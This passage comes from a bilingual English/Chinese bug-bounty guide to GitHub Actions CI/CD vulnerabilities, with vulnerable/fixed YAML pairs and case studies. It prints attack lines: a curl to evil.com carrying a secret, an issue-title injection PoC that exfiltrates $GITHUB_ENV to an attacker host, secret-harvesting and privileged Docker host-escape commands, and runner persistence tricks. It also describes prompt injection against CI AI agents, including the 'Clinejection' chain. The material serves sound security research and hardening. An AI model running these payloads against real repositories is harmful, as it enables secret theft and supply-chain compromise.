    
    # FIXED — use heredoc delimiter
    run: |
      {
        echo "BRANCH<<EOF"
        echo "${{ github.head_ref }}"
        echo "EOF"
      } >> $GITHUB_ENV
  • PATH 注入——不可信输入 ->
    $GITHUB_PATH
    = 任意二进制文件执行
  • 输出覆盖——不可信输入未经 heredoc delimiter 写入
    $GITHUB_OUTPUT
    = 下游 Job 被操纵
  • 参数注入——不可信输入作为 CLI 参数(例如
    docker run ${{ ... }}
    )
    yaml
    # VULNERABLE
    run: docker run ${{ github.event.pull_request.body }}
    
    # FIXED — end-of-options marker + env var
    env:
      INPUT: ${{ github.event.pull_request.body }}
    run: docker run -- "$INPUT"
  • 请求伪造(SSRF)——workflow 中
    curl
    /
    wget
    请求攻击者控制的 URL

Category 2: Pipeline Poisoning & Untrusted Checkout

类别 2:流水线投毒与不可信 Checkout

Root cause: Privileged triggers (
pull_request_target
,
workflow_run
) checkout attacker's PR code, which then runs with repository secrets.
  • Untrusted checkout —
    actions/checkout
    on
    pull_request_target
    without explicit safe ref
    yaml
    # VULNERABLE — checks out attacker's PR code with repo secrets
    on: pull_request_target
    jobs:
      build:
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
          - run: make build  # runs attacker's Makefile with secrets
    
    # FIXED — only checkout base branch, or use read-only permissions
    permissions: {}
    steps:
      - uses: actions/checkout@v4  # checks out base branch by default
  • TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
  • Reusable workflow taint —
    secrets: inherit
    passes all secrets to called workflow that processes untrusted input
  • Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
  • Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
  • Artifact poisoning —
    actions/download-artifact
    from untrusted
    workflow_run
    without validation
    yaml
    # VULNERABLE — downloads artifact from untrusted workflow, then executes it
    on: workflow_run
    steps:
      - uses: actions/download-artifact@v4
      - run: ./downloaded-binary  # attacker-controlled binary
    
    # FIXED — verify artifact hash/signature before execution
  • Artipacked —
    actions/checkout
    with
    persist-credentials: true
    (default) leaks
    .git/config
    credentials in uploaded artifacts
    yaml
    # FIXED
    - uses: actions/checkout@v4
      with:
        persist-credentials: false
根因:特权 trigger(
pull_request_target
、
workflow_run
)checkout 攻击者的 PR 代码,随后使用仓库 secrets 执行这些代码。
  • 不可信 checkout——
    pull_request_target
    下使用
    actions/checkout
    ,却没有显式指定安全 ref
    yaml
    # VULNERABLE — checks out attacker's PR code with repo secrets
    on: pull_request_target
    jobs:
      build:
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
          - run: make build  # runs attacker's Makefile with secrets
    
    # FIXED — only checkout base branch, or use read-only permissions
    permissions: {}
    steps:
      - uses: actions/checkout@v4  # checks out base branch by default
  • TOCTOU(检查时与使用时不一致)——基于 label 的审批 + 可变 ref = 攻击者在审批后添加 label,并推送恶意 commit
  • Reusable workflow taint——
    secrets: inherit
    将所有 secrets 传给处理不可信输入的被调用 workflow
  • 缓存投毒——不可信 checkout -> build -> 写入缓存 -> 可信 workflow 读取被投毒的缓存
  • 缓存投毒(可投毒步骤)——不安全的 checkout 后,在保存缓存前执行 build 步骤
  • Artifact 投毒——未经校验便从不可信
    workflow_run
    中执行
    actions/download-artifact
    yaml
    # VULNERABLE — downloads artifact from untrusted workflow, then executes it
    on: workflow_run
    steps:
      - uses: actions/download-artifact@v4
      - run: ./downloaded-binary  # attacker-controlled binary
    
    # FIXED — verify artifact hash/signature before execution
  • Artipacked——
    actions/checkout
    的
    persist-credentials: true
    (默认值)会将
    .git/config
    凭据泄漏到上传的 artifact 中
    yaml
    # FIXED
    - uses: actions/checkout@v4
      with:
        persist-credentials: false

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

类别 3:供应链与依赖安全(CICD-SEC-08)

  • Unpinned actions —
    uses: actions/checkout@v4
    (mutable tag) instead of SHA pin
    yaml
    # VULNERABLE — tag can be force-pushed
    uses: actions/checkout@v4
    
    # FIXED — pinned to immutable commit SHA
    uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  • Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
  • Ref confusion — ambiguous tag/branch names exploited to load unintended action version
  • Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
  • Archived actions — unmaintained action with unpatched vulnerabilities
  • Unpinned container images —
    image: ubuntu:latest
    instead of SHA256 digest pin
  • 未固定版本的 action——使用
    uses: actions/checkout@v4
    (可变 tag),而不是固定 SHA
    yaml
    # VULNERABLE — tag can be force-pushed
    uses: actions/checkout@v4
    
    # FIXED — pinned to immutable commit SHA
    uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  • Impostor commit——Fork network 允许推送 SHA 看似属于上游仓库的 commit
  • Ref 混淆——利用含义模糊的 tag/branch 加载非预期版本的 action
  • 存在已知漏洞的 action——根据 GHSA 数据库检查 action(sisakulint 可自动检测)
  • 已归档 action——无人维护且存在未修复漏洞的 action
  • 未固定版本的容器镜像——使用
    image: ubuntu:latest
    ,而不是固定 SHA256 digest

Category 4: Credential & Secret Protection

类别 4:凭据与 Secret 保护

  • Secret exfiltration —
    curl https://evil.com/${{ secrets.TOKEN }}
    in workflow
  • Secrets in artifacts — uploaded artifacts contain
    .env
    , credentials, or hidden files
    yaml
    # FIXED — exclude hidden files
    - uses: actions/upload-artifact@v4
      with:
        include-hidden-files: false
  • Unmasked secrets —
    fromJson()
    derived values bypass GitHub's automatic masking
    yaml
    # FIXED — manually mask derived secrets
    run: |
      TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
      echo "::add-mask::$TOKEN"
  • Excessive
    secrets: inherit
    — reusable workflow call inherits all secrets when it only needs one
  • Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML
  • Secret 外泄——workflow 中存在
    curl https://evil.com/${{ secrets.TOKEN }}
  • Artifact 中包含 Secret——上传的 artifact 包含
    .env
    、凭据或隐藏文件
    yaml
    # FIXED — exclude hidden files
    - uses: actions/upload-artifact@v4
      with:
        include-hidden-files: false
  • Secret 未被掩码——
    fromJson()
    派生值可绕过 GitHub 自动掩码
    yaml
    # FIXED — manually mask derived secrets
    run: |
      TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
      echo "::add-mask::$TOKEN"
  • 过度使用
    secrets: inherit
    ——reusable workflow 只需要少量 secret,却继承了全部 secret
  • 硬编码凭据——API key、密码或 token 直接写在 workflow YAML 中

Category 5: Triggers & Access Control (CICD-SEC-01)

类别 5:Trigger 与访问控制(CICD-SEC-01)

  • Dangerous triggers without mitigation —
    pull_request_target
    or
    workflow_run
    with no
    permissions: {}
    , no approval gate, no ref restriction
  • Dangerous triggers with partial mitigation — some protections present but bypassable
  • Label-based approval bypass —
    if: contains(github.event.pull_request.labels.*.name, 'approved')
    is spoofable (attacker can add labels)
  • Bot condition spoofing —
    if: github.actor != 'dependabot[bot]'
    is trivially bypassed by naming account similarly
  • Excessive GITHUB_TOKEN permissions —
    permissions: write-all
    when only
    contents: read
    needed
  • Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
  • OIDC token theft — CI runners expose OIDC tokens that grant cloud access
  • 未采取缓解措施的危险 trigger——
    pull_request_target
    或
    workflow_run
    没有
    permissions: {}
    、没有审批 gate、没有 ref 限制
  • 仅部分缓解的危险 trigger——存在部分保护,但可以绕过
  • 基于 label 的审批绕过——
    if: contains(github.event.pull_request.labels.*.name, 'approved')
    可被伪造(攻击者可以添加 label)
  • Bot 条件伪造——
    if: github.actor != 'dependabot[bot]'
    可通过使用相似名称的账户轻易绕过
  • GITHUB_TOKEN 权限过大——
    permissions: write-all
    ,但实际只需要
    contents: read
  • 公共仓库中的 self-hosted runner——不可信 PR 在组织基础设施上执行 = 容器逃逸 -> 横向移动
  • OIDC token 窃取——CI runner 暴露具有云访问权限的 OIDC token

Category 6: AI Agent Security (NEW — 2025+)

类别 6:AI Agent 安全(新增——2025+)

  • Unrestricted AI trigger —
    allowed_non_write_users: "*"
    lets any user trigger AI agent execution
  • Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
  • Prompt injection via workflow context —
    ${{ github.event.issue.body }}
    interpolated into AI agent prompt parameter
  • 不受限制的 AI trigger——
    allowed_non_write_users: "*"
    允许任何用户触发 AI agent 执行
  • 工具授权过大——AI agent 在不可信 trigger 环境中拥有 Bash/Write/Edit 工具 = 攻击者提示词 -> RCE
  • 通过 workflow 上下文实施提示词注入——
    ${{ github.event.issue.body }}
    被插入 AI agent prompt 参数

Hunting Workflow

挖掘工作流

1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering

Expression Injection PoC Template

表达式注入 PoC 模板

bash
undefined
bash
undefined

Step 1: Create an issue with injection payload in title

Step 1: Create an issue with injection payload in title

gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated

Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated

CVSS: 9.3 Critical (RCE with repo secrets)

CVSS: 9.3 Critical (RCE with repo secrets)

undefined
undefined

Real-World GHSAs (Proven Payouts)

真实世界 GHSA(已证实可获得奖金)

GHSAActionBug ClassSeverity
GHSA-gq52-6phf-x2r6tj-actions/branch-namesExpression injection via branch nameCritical
GHSA-4xqx-pqpj-9fqwatlassian/gajira-createCode injection in privileged triggerCritical
GHSA-g86g-chm8-7r2pcheck-spelling/check-spellingSecret exposure in build logsCritical
GHSA-cxww-7g56-2vh6actions/download-artifactArtifact poisoning (official action)High
GHSA-h3qr-39j9-4r5vgradle/gradle-build-actionCache poisoning via untrusted checkoutHigh
GHSA-mrrh-fwg8-r2c3tj-actions/changed-filesSupply chain — impostor commitHigh
GHSA-phf6-hm3h-x8qpbroadinstitute/cromwellToken exposure via code injectionCritical
GHSA-qmg3-hpqr-gqvcreviewdog/action-setupTime-bomb via tag pinningHigh
GHSA-vqf5-2xx6-9wfmgithub/codeql-actionKnown vulnerable official actionHigh
GHSA-hw6r-g8gj-2987pytorch/pytorchArgument injection in build workflowModerate
GHSAAction漏洞类型严重性
GHSA-gq52-6phf-x2r6tj-actions/branch-names通过分支名实施表达式注入Critical
GHSA-4xqx-pqpj-9fqwatlassian/gajira-create特权 trigger 中的代码注入Critical
GHSA-g86g-chm8-7r2pcheck-spelling/check-spelling构建日志中的 Secret 暴露Critical
GHSA-cxww-7g56-2vh6actions/download-artifactArtifact 投毒(官方 action)High
GHSA-h3qr-39j9-4r5vgradle/gradle-build-action不可信 checkout 导致缓存投毒High
GHSA-mrrh-fwg8-r2c3tj-actions/changed-files供应链——impostor commitHigh
GHSA-phf6-hm3h-x8qpbroadinstitute/cromwell通过代码注入暴露 tokenCritical
GHSA-qmg3-hpqr-gqvcreviewdog/action-setupTag 固定导致定时炸弹High
GHSA-vqf5-2xx6-9wfmgithub/codeql-action存在已知漏洞的官方 actionHigh
GHSA-hw6r-g8gj-2987pytorch/pytorch构建 workflow 中的参数注入Moderate

A→B Signal: CI/CD Chains

A→B 信号:CI/CD 漏洞链

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

Deep-Dive: From sisakulint Finding to Bounty Report

深入分析:从 sisakulint 发现到漏洞赏金报告

sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
sisakulint 的发现可能可以利用——但不是已确认的漏洞。每个发现都需要手动验证。以下模式提取自 36 份真实世界的高额漏洞赏金报告(总奖金超过 25 万美元)。每一节都还原了实际获得奖金时的思考过程。

1. Code Injection / Argument Injection

1. 代码注入 / 参数注入

Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
  1. Trigger accessibility —
    issues: opened
    and
    issue_comment: created
    are triggerable by ANY GitHub user.
    pull_request_target
    is triggerable via fork PR. Check if there's an
    if:
    condition filtering by actor/association.
  2. Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because
    cherry-picker.yml
    passed
    ${{ github.event.issue.title }}
    via
    with:
    to a composite action in another repo (
    bazelbuild/continuous-integration
    ). The composite action's
    action.yml
    had
    run: TITLE="${{ inputs.issue-title }}"
    . Conventional scanners (actionlint) missed this because they don't follow
    uses:
    into external composite actions. Always fetch and read the composite action's action.yml.
  3. Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used
    ${IFS}
    (Internal Field Separator) and Bash brace expansion
    {curl,-sSfL,URL}
    to bypass this. Issue titles/bodies have no such restriction.
  4. Secrets reachability — Check
    permissions:
    at workflow AND job level. No explicit
    permissions:
    block = repo default (often
    write-all
    ). Check
    env:
    blocks for
    ${{ secrets.* }}
    . Check if
    GITHUB_TOKEN
    has write permissions.
  5. Impact chain — Bazel: issue title injection → composite action shell injection →
    BAZEL_IO_TOKEN
    +
    GITHUB_TOKEN (write-all)
    → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).
Kill signals:
${{ contains(...) }}
or
${{ startsWith(...) }}
returning booleans are NOT injectable — false positive.
${{ github.event.pull_request.labels.*.name }}
inside
contains()
evaluates to
true
/
false
, not the label text.
关卡问题:外部攻击者能否触发此 workflow,并且受污染输入能否进入 shell 上下文?
验证深度:
  1. Trigger 可达性——
    issues: opened
    和
    issue_comment: created
    可由任何 GitHub 用户触发。
    pull_request_target
    可通过 fork PR 触发。检查是否存在按 actor/association 过滤的
    if:
    条件。
  2. 直接 taint 与间接 taint——workflow 文件本身看起来可能很安全。Cycode 发现了 Bazel 的 1.3 万美元漏洞,因为
    cherry-picker.yml
    通过
    with:
    将
    ${{ github.event.issue.title }}
    传给另一个仓库中的 composite action(
    bazelbuild/continuous-integration
    )。该 composite action 的
    action.yml
    中包含
    run: TITLE="${{ inputs.issue-title }}"
    。传统扫描器(actionlint)会漏掉该问题,因为它们不会沿着
    uses:
    跟进外部 composite action。始终获取并阅读 composite action 的 action.yml。
  3. Payload 构造——分支名不能包含空格。Ultralytics YOLO 攻击者使用
    ${IFS}
    (Internal Field Separator)和 Bash brace expansion
    {curl,-sSfL,URL}
    绕过此限制。Issue title/body 没有这种限制。
  4. Secrets 可达性——检查 workflow 级和 job 级的
    permissions:
    。没有显式
    permissions:
    块意味着使用仓库默认值(通常为
    write-all
    )。检查
    env:
    块中的
    ${{ secrets.* }}
    。检查
    GITHUB_TOKEN
    是否拥有写权限。
  5. 影响链——Bazel:issue title 注入 -> composite action shell 注入 ->
    BAZEL_IO_TOKEN
    +
    GITHUB_TOKEN (write-all)
    -> 具备向 Bazel 代码库植入 backdoor 的能力(可能影响 Google、Kubernetes、Uber、LinkedIn)。
排除信号:返回布尔值的
${{ contains(...) }}
或
${{ startsWith(...) }}
不可注入——它们是误报。
${{ github.event.pull_request.labels.*.name }}
放在
contains()
中时只会求值为
true
/
false
,而不是 label 文本。

2. Untrusted Checkout (Pwn Request)

2. 不可信 Checkout(Pwn Request)

Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
  1. Explicit vs implicit code execution — The Flank $7.5K bug:
    gh pr checkout
    →
    gradle/gradle-build-action
    runs Gradle → Gradle auto-evaluates
    settings.gradle.kts
    as Kotlin script. The attacker never wrote a
    run:
    command. Any build tool that reads config from the repo is an execution vector:
    Makefile
    ,
    package.json
    (postinstall scripts),
    setup.py
    ,
    build.gradle.kts
    ,
    .cargo/config.toml
    ,
    Gemfile
    .
  2. Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft:
    issue_comment
    trigger +
    refs/pull/${{ github.event.issue.number }}/head
    checkout.
    issue_comment
    runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
  3. Self-hosted runner escalation — If
    runs-on:
    contains
    self-hosted
    , check: (a) Is the runner ephemeral? (
    --ephemeral
    in config.sh). (b) Is the runner in Docker group? (
    docker run -v /:/host --privileged
    ). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner:
    RUNNER_TRACKING_ID=0
    + install attacker's runner agent) → wait for privileged workflow → steal PATs from
    .git/config
    or process memory.
  4. TOCTOU — Label-gated
    pull_request_target
    workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The
    ref:
    at checkout time resolves to the new commit. Mutable refs (
    github.event.pull_request.head.sha
    at trigger time vs checkout time) are the root cause.
  5. Post-exploitation — After initial access, enumerate all secrets:
    env | base64
    ,
    cat /proc/self/environ
    ,
    gcore $(pgrep Runner.Worker)
    +
    strings core.* | grep ghp_
    . PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.
Kill signals:
if: "!github.event.pull_request.head.repo.fork"
blocks external attackers.
permissions: {}
at workflow level with only
contents: read
at job level limits damage. Ephemeral runners with
--ephemeral
flag prevent persistence.
关卡问题:workflow 是否 checkout 攻击者控制的代码,随后执行该 checkout 中的内容?
验证深度:
  1. 显式与隐式代码执行——Flank 的 7,500 美元漏洞:
    gh pr checkout
    ->
    gradle/gradle-build-action
    运行 Gradle -> Gradle 自动将
    settings.gradle.kts
    作为 Kotlin script 求值。攻击者甚至没有编写
    run:
    命令。任何读取仓库配置的构建工具都是执行向量:
    Makefile
    、
    package.json
    (postinstall script)、
    setup.py
    、
    build.gradle.kts
    、
    .cargo/config.toml
    、
    Gemfile
    。
  2. issue_comment 与 pull_request_target 同样危险——Rspack NPM token 窃取:
    issue_comment
    trigger +
    refs/pull/${{ github.event.issue.number }}/head
    checkout。
    issue_comment
    在基础仓库上下文中运行,并拥有完整 secrets。Draft PR 也包含在内。没有 contributor status 检查。始终检查 issue_comment workflow 中是否存在 PR checkout 模式。
  3. Self-hosted runner 权限提升——如果
    runs-on:
    包含
    self-hosted
    ,检查:(a) runner 是否为临时实例?(
    config.sh
    中包含
    --ephemeral
    )。(b) runner 是否位于 Docker group?(
    docker run -v /:/host --privileged
    )。(c) PyTorch 模式:contributor 技巧(拼写修正 PR -> 合并 -> contributor 状态 -> 后续 PR 自动在 self-hosted runner 上触发且无需审批)-> RoR(Runner-on-Runner:
    RUNNER_TRACKING_ID=0
    + 安装攻击者的 runner agent)-> 等待特权 workflow -> 从
    .git/config
    或进程内存窃取 PAT。
  4. TOCTOU——基于 label 门控的
    pull_request_target
    workflow:攻击者先获得 label(通过社会工程),workflow 检查 label 是否存在,攻击者随后在检查与 checkout 之间推送恶意 commit。Checkout 时的
    ref:
    会解析为新 commit。可变 ref(触发时的
    github.event.pull_request.head.sha
    与 checkout 时的 ref)是根因。
  5. 利用后动作——获得初始访问后,枚举所有 secrets:
    env | base64
    、
    cat /proc/self/environ
    、
    gcore $(pgrep Runner.Worker)
    +
    strings core.* | grep ghp_
    。PyTorch 攻击者获得了 3 个 bot PAT -> 将其组合后绕过 main 分支保护。
排除信号:
if: "!github.event.pull_request.head.repo.fork"
会阻止外部攻击者。workflow 级
permissions: {}
配合 job 级仅
contents: read
可限制损害。带
--ephemeral
flag 的临时 runner 可防止持久化。

3. Artifact Poisoning

3. Artifact 投毒

Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
  1. Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via
    needs:
    ) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is:
    pull_request
    workflow uploads → separate
    workflow_run
    workflow downloads.
    workflow_run
    triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
  2. Download path matters —
    actions/download-artifact
    with
    path: .
    or workspace-relative paths (
    grafana-server/bin
    ) can overwrite source code, build scripts, or binaries. Safe pattern: extract to
    ${{ runner.temp }}/artifacts
    .
  3. Source validation — Does the
    workflow_run
    consumer check
    github.event.workflow_run.head_repository.full_name != github.repository
    ? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
  4. ArtiPACKED (persist-credentials) —
    actions/checkout
    defaults to
    persist-credentials: true
    . This writes
    GITHUB_TOKEN
    to
    .git/config
    . If the artifact upload path includes
    .git/
    (e.g.,
    path: .
    ), the token is publicly downloadable from the Actions artifact. Check: does any
    upload-artifact
    step use
    path: .
    or a broad path that includes
    .git/
    ?
Kill signals: Upload and download in the same workflow run (connected by
needs:
).
workflow_run
consumer that explicitly checks fork origin.
persist-credentials: false
on checkout.
关卡问题:是否存在两阶段 workflow 模式,其中阶段 1(
pull_request
,无 secrets)上传 artifact,阶段 2(
workflow_run
,有 secrets)下载并使用它?
验证深度:
  1. 跨 Workflow Artifact 流向——同一 workflow 内的上传/下载(build job -> test job,通过
    needs:
    连接)不可投毒,因为攻击者的 PR 运行的是自己的构建。危险模式是:
    pull_request
    workflow 上传 -> 独立的
    workflow_run
    workflow 下载。
    workflow_run
    在另一个 workflow 完成时触发,并运行于 DEFAULT BRANCH 上下文,拥有完整 secrets。
  2. 下载路径很重要——
    actions/download-artifact
    的
    path: .
    或 workspace 相对路径(如
    grafana-server/bin
    )可能覆盖源代码、构建脚本或二进制文件。安全模式是解压到
    ${{ runner.temp }}/artifacts
    。
  3. Source 验证——
    workflow_run
    消费者是否检查
    github.event.workflow_run.head_repository.full_name != github.repository
    ?如果没有,就会盲目消费 fork PR 的 artifact。Rust release pipeline 正是以这种方式存在漏洞。
  4. ArtiPACKED(persist-credentials)——
    actions/checkout
    默认使用
    persist-credentials: true
    。这会将
    GITHUB_TOKEN
    写入
    .git/config
    。如果 artifact 上传路径包含
    .git/
    (例如
    path: .
    ),token 就能通过 Actions artifact 被公开下载。检查:是否有任何
    upload-artifact
    步骤使用
    path: .
    或包含
    .git/
    的宽泛路径?
排除信号:在同一次 workflow run 中上传并下载(通过
needs:
连接)。
workflow_run
消费者显式检查 fork 来源。checkout 使用
persist-credentials: false
。

4. Cache Poisoning

4. 缓存投毒

Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (
hashFiles('package-lock.json')
) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
Verification depth:
  1. Key predictability —
    key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
    is fully predictable. Adding
    github.sha
    or
    github.run_id
    to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
  2. Cache hierarchy exploitation —
    workflow_run
    and
    workflow_dispatch
    workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The
    run-dashboard-search-e2e.yml
    pattern:
    workflow_run
    trigger →
    actions/cache
    with
    hashFiles()
    key → all PR workflows read this cache.
  3. Payload injection — Cacheract: inject malware into package manager caches (
    node_modules/.cache
    ,
    ~/.cache/pip
    ,
    ~/.gradle/caches
    ). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
  4. Privileged consumption — The cache is restored in a
    push
    or
    schedule
    workflow on the default branch. These workflows have full
    secrets
    access. The poisoned dependency executes during
    npm install
    /
    pip install
    /
    gradle build
    and exfiltrates secrets.
  5. Clinejection chain — Prompt injection → AI agent runs
    npm install
    from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
Kill signals: Cache key includes
github.sha
or
github.run_id
. Separate cache keys per workflow.
actions/cache/restore
(read-only) instead of
actions/cache
(read-write) in PR workflows.
关卡问题:fork PR 能否写入缓存项,并在后续特权上下文中由默认分支恢复?
关键:GitHub 的缓存作用域并不能完全防止这种情况。PR 分支可以读取默认分支的缓存。Fork PR workflow 可以写入缓存项。如果缓存键是确定性的(
hashFiles('package-lock.json')
),且攻击者没有修改该文件,那么 fork PR 写入的就是
同一个
缓存键。
验证深度:
  1. 键可预测性——
    key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
    完全可预测。加入
    github.sha
    或
    github.run_id
    后会变得不可预测。检查每个缓存键是否包含不可预测的组成部分。
  2. 缓存层级利用——
    workflow_run
    和
    workflow_dispatch
    workflow 在默认分支上下文中运行。如果它们使用可预测的键写入缓存,攻击者只需触发上游 workflow(通过 fork PR),就能预先投毒缓存。
    run-dashboard-search-e2e.yml
    模式:
    workflow_run
    trigger ->
    actions/cache
    使用
    hashFiles()
    键 -> 所有 PR workflow 读取此缓存。
  3. Payload 注入——Cacheract:向包管理器缓存(
    node_modules/.cache
    、
    ~/.cache/pip
    、
    ~/.gradle/caches
    )注入恶意软件。该恶意软件通过每次“恢复 -> 构建 -> 保存”的循环自我延续。缓存 TTL 为 7 天——payload 可在多次 workflow run 之间存活。
  4. 特权消费——缓存在默认分支的
    push
    或
    schedule
    workflow 中恢复。这些 workflow 拥有完整
    secrets
    访问权限。被投毒的依赖会在
    npm install
    /
    pip install
    /
    gradle build
    期间执行并外泄 secrets。
  5. Clinejection 漏洞链——提示词注入 -> AI agent 从攻击者 commit 执行
    npm install
    -> Cacheract 在 npm 缓存中植入 payload -> nightly publish workflow 恢复缓存 -> VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN 被窃取 -> 恶意 Cline v2.3.0 被发布 8 小时。
排除信号:缓存键包含
github.sha
或
github.run_id
。不同 workflow 使用不同缓存键。PR workflow 使用
actions/cache/restore
(只读),而不是
actions/cache
(读写)。

5. Self-Hosted Runners

5. Self-hosted Runner

Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
  1. Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
  2. Runner persistence — Non-ephemeral runners retain state between jobs.
    RUNNER_TRACKING_ID=0
    prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (
    docker run -d --restart always
    ) also survive cleanup.
  3. Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
  4. Lateral movement — RoR persistence → wait for privileged
    push
    /
    schedule
    workflows → steal tokens from
    .git/config
    ,
    $GITHUB_ENV
    ,
    /proc/PID/environ
    , or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access →
    pip install pytorch
    supply chain.
  5. Docker group escalation —
    docker run -v /:/host --privileged alpine chroot /host
    → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
Kill signals:
--ephemeral
flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
关卡问题:公共仓库是否使用 self-hosted runner,且外部贡献者能否触发 workflow?
验证深度:
  1. 审批设置——默认设置是“Require approval for first-time contributors”。在合并一个 PR(即使只是拼写修正)后,攻击者便成为“contributor”,后续 PR 会自动触发且无需审批。GitHub runner-images 的 2 万美元漏洞使用的正是这一技巧。
  2. Runner 持久化——非临时 runner 会在 Job 之间保留状态。
    RUNNER_TRACKING_ID=0
    可阻止 runner 在 Job 完成后清理攻击者进程。分离式 Docker container(
    docker run -d --restart always
    )也能在清理后存活。
  3. Runner-on-Runner(RoR)——在目标的 self-hosted runner 上安装官方 GitHub Actions runner binary,并将其注册到攻击者的私有组织。只使用合法 GitHub binary 和指向 github.com 的 HTTPS——与正常 runner 流量无法区分。无需 C2 server,GitHub 本身就是 C2。
  4. 横向移动——RoR 持久化 -> 等待特权
    push
    /
    schedule
    workflow -> 从
    .git/config
    、
    $GITHUB_ENV
    、
    /proc/PID/environ
    或 Runner.Worker 进程内存窃取 token。PyTorch:3 个 bot PAT -> 93 个仓库 -> AWS S3 写权限 ->
